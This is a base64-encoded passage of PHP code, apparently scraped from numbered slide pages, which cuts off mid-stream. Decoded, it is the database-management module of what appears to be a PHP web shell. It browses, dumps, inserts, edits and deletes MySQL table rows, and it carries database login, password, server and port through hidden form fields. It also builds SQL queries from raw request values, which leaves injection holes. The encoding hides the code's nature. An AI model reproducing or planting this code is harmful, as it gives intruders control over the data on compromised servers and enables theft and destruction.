JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3 ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1 bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIn O2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQu c3FsLnNxbF9hY3QudmFsdWU9J3RibGR1bXAnO2RvY3VtZW50LnNxbC50aGlzdGJsLnZhbHVlPScx Jztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxiPkR1bXA8L2I+Jm5ic3A7XTwvYT4m bmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9 JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3 ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1 bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIn O2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQu c3FsLnNxbF90YmxfYWN0LnZhbHVlPSdpbnNlcnQnO2RvY3VtZW50LnNxbC50aGlzdGJsLnZhbHVl PScxJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtd PC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVj dHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgIGlmICgk c3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICAgIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJHNx bF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgaWYgKCFl bXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQ0KICAgICAgew0KDQogICAgICB9DQogICAgICBl bHNlDQogICAgICB7DQogICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8g dGFibGU6PC9iPjxicj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0K ICAgICAgIHsNCiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJs LiJgIjsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsN CiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgJHNxbF9xdWVyeSA9 IHVybGRlY29kZSgkc3FsX3F1ZXJ5KTsNCiAgICAgICAgJHNxbF90YmxfaW5zZXJ0X3EgPSB1cmxk ZWNvZGUoJHNxbF90YmxfaW5zZXJ0X3EpOw0KICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnko JHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJv cigpKTsNCiAgICAgICAgJHZhbHVlcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOw0KICAg ICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICB9DQogICAgICAgZWxzZSB7 JHZhbHVlcyA9IGFycmF5KCk7fQ0KICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48 aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0nc3FsX3RibF9hY3QnIHZhbHVlPSdpbnNlcnQnPjxpbnB1 dCB0eXBlPWhpZGRlbiBuYW1lPSdzcWxfdGJsX2luc2VydF9xJyB2YWx1ZT0nIi51cmxlbmNvZGUo JHNxbF90YmxfaW5zZXJ0X3EpLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdzcWxfdGJsX2xz JyB2YWx1ZT0nIi4kc3FsX3RibF9scy4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0nc3FsX3Ri bF9sZScgdmFsdWU9JyIuJHNxbF90YmxfbGUuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3Fs X3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBl PVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVl PVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVu
  • 19. XCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Nl cnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1 ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlk ZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf bG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNx bFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRk aW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMw YzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+ PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KDQog ICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkNCiAgICAgICB7DQog ICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICBpZiAoZW1wdHkoJHNxbF90 YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1s c3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+ PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hh cnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dP UkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxv cHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29w dGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9u PjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwi XCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNF PC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlv bj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RB WVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9B REQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9v cHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9u PjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+ PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRt bHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFs dWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICRpKys7DQogICAg ICAgfQ0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgZWNobyAiPGlucHV0IHR5 cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsg aWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48 Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5z ZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9p bnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlu cHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5o dG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgZWNobyAi PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4i Ow0KICAgICAgfQ0KICAgICB9DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImJyb3dzZSIpDQog ICAgIHsNCiAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsNCiAgICAgICRzcWxf dGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5v c2hhZGU+IjsNCiAgICAgICRiID0gMDsNCiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsr KQ0KICAgICAgew0KICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgk aSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiI1wi IG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxf bG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5z cWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztk b2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2Vy dmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygk c3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxf ZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCku Iic7ZG9jdW1lbnQuc3FsLnRoaXN0YmwudmFsdWU9JzEnO2RvY3VtZW50LnNxbC5zcWxfb3JkZXIu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJztkb2N1bWVudC5zcWwuc3Fs X3RibF9scy52YWx1ZT0nIi4oJGkqJHBlcnBhZ2UpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsX2xl LnZhbHVlPSciLigkaSokcGVycGFnZSskcGVycGFnZSkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgp O1wiPjx1PiI7fQ0KICAgICAgIGVjaG8gJGk7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAk c3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2Vj aG8gIjwvdT48L2E+Ijt9DQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAo JGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAg
  • 20. ICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxm b3JtIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2 YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVl PVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwi IG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2lu KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwi Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5c IiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2Vy dmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1c IiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwi IG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJc Ij48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIuaHRt bHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5 cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbHMuIlwi PiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3Ri bF9sZVwiIHZhbHVlPVwiIi4kc3FsX3RibF9sZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJt aXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRo b2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYg Y2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGln aHQ9I2MwYzBjMCBib3JkZXI9MT4iOw0KICAgICAgZWNobyAiPHRyPiI7DQogICAgICBlY2hvICI8 dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIx XCI+PC90ZD4iOw0KICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7 JGkrKykNCiAgICAgIHsNCiAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7 DQogICAgICAgaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30NCiAgICAg ICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQ0KICAgICAgIGVjaG8gIjx0ZD4iOw0KICAg ICAgIGlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9DQogICAgICAgaWYgKCRlWzFdICE9 ICR2KSB7JHNxbF9vcmRlcj0iIjskc3FsX29yZGVyPSRlWzBdLiIgIi4kdjtlY2hvICI8YSBocmVm PVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNx bC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1 bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dk KS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxj aGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2Rl KCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3Fs X3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9vcmRlci52YWx1ZT0nIi4kc3FsX29yZGVyLiInO2Rv Y3VtZW50LnNxbC5zcWxfdGJsX2xzLnZhbHVlPSciLiRzcWxfdGJsX2xzLiInO2RvY3VtZW50LnNx bC5zcWxfdGJsX2xlLnZhbHVlPSciLiRzcWxfdGJsX2xlLiInO2RvY3VtZW50LnNxbC5zdWJtaXQo KTtcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwv Yj4gPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztk b2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dp bikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygk c3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNp YWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSci LnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibC52YWx1ZT0nIi51cmxl bmNvZGUoJHNxbF90YmwpLiInO2RvY3VtZW50LnNxbC5zcWxfb3JkZXIudmFsdWU9JyIuJHMuIiUy MCIuJHYuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7 ZG9jdW1lbnQuc3FsLnNxbF90YmxfbGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQu c3FsLnN1Ym1pdCgpO1wiPjxmb250IGNvbG9yPXJlZD5cLzwvZm9udD48L2E+Ijt9DQogICAgICAg ZWNobyAiPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3Jl ZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAg ICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0Mp KQ0KICAgICAgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAg JGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9m aWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hl cygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0g c3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBl PVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsN CiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAg
  • 21. ew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0g IiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAg ZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAg ZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1l bnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFs dWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9z ZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQu c3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1 bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5z cWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5zcWxfcXVlcnkudmFsdWU9JyIu dXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAx OyIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCku Iic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7ZG9jdW1l bnQuc3FsLnNxbF90YmxfbGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQuc3FsLnN1 Ym1pdCgpO1wiPjxiPkRFTDwvYj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwi I1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5z cWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVu dC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4i Jztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf c2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRz cWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsX2FjdC52YWx1ZT0naW5zZXJ0Jztkb2N1bWVu dC5zcWwuc3FsX3RibF9pbnNlcnRfcS52YWx1ZT0nIi51cmxlbmNvZGUoJHcpLiInO2RvY3VtZW50 LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3Fs LnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7ZG9jdW1lbnQuc3FsLnNxbF90Ymxf bGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPkVE SVQ8L2I+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwv dHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAg ZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxz ZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwi PldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJk ZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7 PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQog ICAgIH0NCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5 KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2Vj aG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8 YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCBuYW1lPSdhY3QnIHR5cGU9J2hpZGRlbicg dmFsdWU9J3NxbCc+PGlucHV0IG5hbWU9J3NxbF9sb2dpbicgdHlwZT0naGlkZGVuJyB2YWx1ZT0n Ii4kc3FsX2xvZ2luLiInPjxpbnB1dCBuYW1lPSdzcWxfc2VydmVyJyB0eXBlPSdoaWRkZW4nIHZh bHVlPSciLiRzcWxfc2VydmVyLiInPjxpbnB1dCBuYW1lPSdzcWxfcG9ydCcgdHlwZT0naGlkZGVu JyB2YWx1ZT0nIi4kc3FsX3BvcnQuIic+PGlucHV0IG5hbWU9J3NxbF9kYicgdHlwZT0naGlkZGVu JyB2YWx1ZT0nIi4kc3FsX2RiLiInPjxpbnB1dCBuYW1lPSdzcWxfcGFzc3dkJyB0eXBlPSdoaWRk ZW4nIHZhbHVlPSciLiRzcWxfcGFzc3dkLiInPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNv 